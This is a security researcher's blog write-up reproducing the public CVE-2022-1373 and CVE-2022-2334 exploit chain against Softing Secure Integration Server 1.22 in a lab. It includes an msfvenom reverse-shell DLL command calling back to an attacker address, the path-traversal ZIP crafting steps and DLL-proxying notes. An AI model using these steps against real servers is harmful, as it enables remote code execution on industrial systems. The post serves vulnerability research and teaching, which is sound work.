Part 2 - Softing Secure Integration Server 1.22 RCE

Attempting to recreate the CVE-2022-1373 and CVE-2022-2334 exploit chain.

Introduction

Previously we analysed the login flow for Softing SIS 1.22. In this post, we will attempt to recreate the exploit chain (CVE-2022-1373 and CVE-2022-2334) used by Incite Team for RCE in Pwn2Own Miami 2022. This exploit chain is authenticated, so we will need valid credentials (if you’ve been following along, it’s “admin / admin” for us) or a valid Signature (Incite Team used ARP spoofing to redirect the client-side heartbeats to their machines and capture a valid Signature).

The Vulnerabilities

Straight from the Softing advisory, CVE-2022-1373 is described as:

The restore configuration feature is vulnerable to a directory 
traversal vulnerablity when processing zip files. An attacker
can craft a zip file to load an arbitrary dll and execute code.
When using the "restore configuration" feature to upload a zip
file containing a path traversal file which is a dll called
..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll.
This causes the file c:\Windows\System32\wbem\wbemcomn.dll
to be created and executed upon touching the disk.

CVE-2022-2334 (also directly from the Softing advisory) is described as:

The application searches for a library
'Windows\System32\wbem\wbemcomn.dll' and it is not found.
An attacker can drop a dll with this name and leverage it
to execute arbitrary code on the target system.

These are all very clear-cut explanations that provides the necessary details required to recreate the exploit. The steps to be taken in theory are:

1. Backup the current configuration, which should be a ZIP file
2. Extract the configuration
3. Plant a DLL named ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll in the extracted configuration
4. ZIP the configuration with the planted DLL
5. Restore the configuration with the planted DLL
6. ???
7. Profit

Sounds like a DLL hijacking attack, similar to the old ikeext privilege escalation exploit. Once we plant our malicious wbemcomn.dll, we presumably restart Softing SIS to load and execute the malicious DLL, giving us a shell with SYSTEM privileges.

Exploiting CVE-2022-1373

Now that we have a game plan in mind, let’s start by attempting to exploit CVE-2022-1373. Once we login to the server, we are greeted with the following page:

“General Settings > Backup & Restore” is where it’s at:

Clicking the “Backup” button downloads a ZIP file named config-download.zip. After extraction, we can see configuration files, certificates, and private keys. None of this is related to the vulnerability so they are not of interest to us right now.

Now we need to craft a malicious DLL named wbemcomn.dll, with the directory traversal payload in the filename. Let’s do this using msfvenom:

kali@kali:~/Documents/metasploit-framework$ ./msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.254 LPORT=4444 -f dll -o "..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbemcomn.dll"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 8704 bytes
Saved as: ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbemcomn.dll
kali@kali:~/Documents/metasploit-framework$ ls -la | grep wbemcomn
-rw-rw-r--  1 kali kali  8704 Apr 14 10:15 ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbemcomn.dll
kali@kali:~/Documents/metasploit-framework$ 

Move this over to the root of the folder (named config-download) extracted from config-download.zip:

kali@kali:~/Documents/softing/config-download$ ls -la
total 40
drwxrwxr-x 7 kali kali 4096 Apr 14 10:19  .
drwxrwxr-x 7 kali kali 4096 Apr 14 10:11  ..
drwxrwxrwx 4 kali kali 4096 Apr 14 10:08  core
drwxrwxrwx 3 kali kali 4096 Apr 14 10:08  mappedaddressspace
drwxrwxrwx 3 kali kali 4096 Apr 14 10:08  opcua-client
drwxrwxrwx 3 kali kali 4096 Apr 14 10:08  opcua-server
drwxrwxrwx 4 kali kali 4096 Apr 14 10:08  uacore
-rw-rw-r-- 1 kali kali 8704 Apr 14 10:15 '..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbemcomn.dll'
kali@kali:~/Documents/softing/config-download$ 

Then zip the folder:

kali@kali:~/Documents/softing/config-download$ zip -r config-download-malicious.zip .
  adding: mappedaddressspace/ (stored 0%)
  adding: mappedaddressspace/7d1bf8af6da8844f48a85aaf54fd4a54/ (stored 0%)
  adding: mappedaddressspace/7d1bf8af6da8844f48a85aaf54fd4a54/nodeset.xml (deflated 91%)
<...SNIP...>
  adding: ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbemcomn.dll (deflated 83%)
<...SNIP...>

Now we select the “malicious” configuration ZIP through the “Restore Configuration” function by clicking on “Choose File”:

Then click “Restore”. If the restore was successful, we will see a popup:

If we go and check on the Windows VM where we installed Softing SIS, we can see wbemcomn.dll successfully written to C:\Windows\System32:

That’s a successful exploit for CVE-2022-1373. Now we need to deal with CVE-2022-2334.

Exploiting CVE-2022-2334

The prerequisites to exploit this vulnerability have already been met: we have planted our malicious wbemcomn.dll on the target system. Set up a netcat listener, and go restart Softing SIS by going to “Operation > Status” then pressing “Restart”:

While the server does restart, and wbemcomn.dll does get loaded by the server process according to WinDbg, we get no shell back. It turns out, the actual wbemcomn.dll is located at C:\Windows\System32\wbemcomn.dll, so for the DLL hijacking to work, our DLL planted at C:\Windows\System32\wbem\wbemcomn.dll would need to have its exports forwarded to C:\Windows\System32\wbemcomn.dll in a technique called “DLL proxying”. There are lots of good resources for DLL proxying so I won’t rehash it here, but I went through the following:

1. https://samsclass.info/126/proj/PMA126.htm
2. https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence
3. https://itm4n.github.io/dll-proxying/
4. https://www.mdsec.co.uk/2020/10/i-live-to-move-it-windows-lateral-movement-part-3-dll-hijacking/

I found dcomhijack to be an excellent resource to craft the malicious wbemcomn.dll. Roughly speaking, the steps were:

1. git clone the repo
2. Modify dll/main.c to use our shellcode
3. Specify Windows 10 or 11 in Makefile
4. Run make to get the DLL

kali@kali:~/Documents/softing/dcomhijack$ make
kali@kali:~/Documents/softing/dcomhijack$ ls bin/wbemcomn.dll
bin/wbemcomn.dll
kali@kali:~/Documents/softing/dcomhijack$

The repo gives a choice between Windows 10 and Windows 11 export definitions, but it doesn’t matter in our case because the exports for wbemcomn.dll are all the same:

kali@kali:~/Documents/softing$ md5sum dcomhijack/dll/exports/10/wbemcomn.def dcomhijack/dll/exports/11/wbemcomn.def
4404a40f02a5e6c84f37af7b60d6f573  dcomhijack/dll/exports/10/wbemcomn.def
4404a40f02a5e6c84f37af7b60d6f573  dcomhijack/dll/exports/11/wbemcomn.def

What happens when we toss this DLL into the configuration ZIP and upload? We get 18 shells that die very quickly, and we didn’t even need to restart Softing SIS:

Now, this is good, because it’s proof that wbemcomn.dll is properly loaded, but why does this happen? We can use ProcMon to track down events where functions from wbemcomn.dll are being called. After a lot of filtering and patience, there are 3 events where functions from wbemcomn.dll are called:

There are 6 calls to functions from wbemcomn.dll in each event:

This lines up with the number of shells that opened (6 x 3 = 18). We also see that the Softing SIS service (named dataFEEDSISsvc) has crashed and cannot be started again unless we delete the planted wbemcomn.dll. This is Not Good (TM) because we want our exploit reliability to be high (so no crashing services and spawning unreliable shells). Eventually, I settled on the following approach:

1. Use a mutex so that our shellcode only runs once.
2. When our shellcode has run, immediately migrate it to another process to stabilise the session.
3. Clean up the malicious wbemcomn.dll after our shellcode runs.

This sounds like a job for the Metasploit Framework - luckily for me, there was no need to re-invent the wheel, as most of the work was already done in an exploit module for CVE-2017-8464.

After a few days hacking together a module:

Still needs some polishing as the malicious DLL doesn’t get deleted automatically, but good enough for a first try I suppose!

Conclusion

In this post, two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) were chained together to obtain RCE against Softing Secure Integration Server 1.22. The details given in the advisories were enough for us to work backwards and develop a working exploit, which was a lucky break for us.

In theory it is also possible to write to other locations (e.g. the startup folder) to get RCE from there too, but that would require restarting the target system.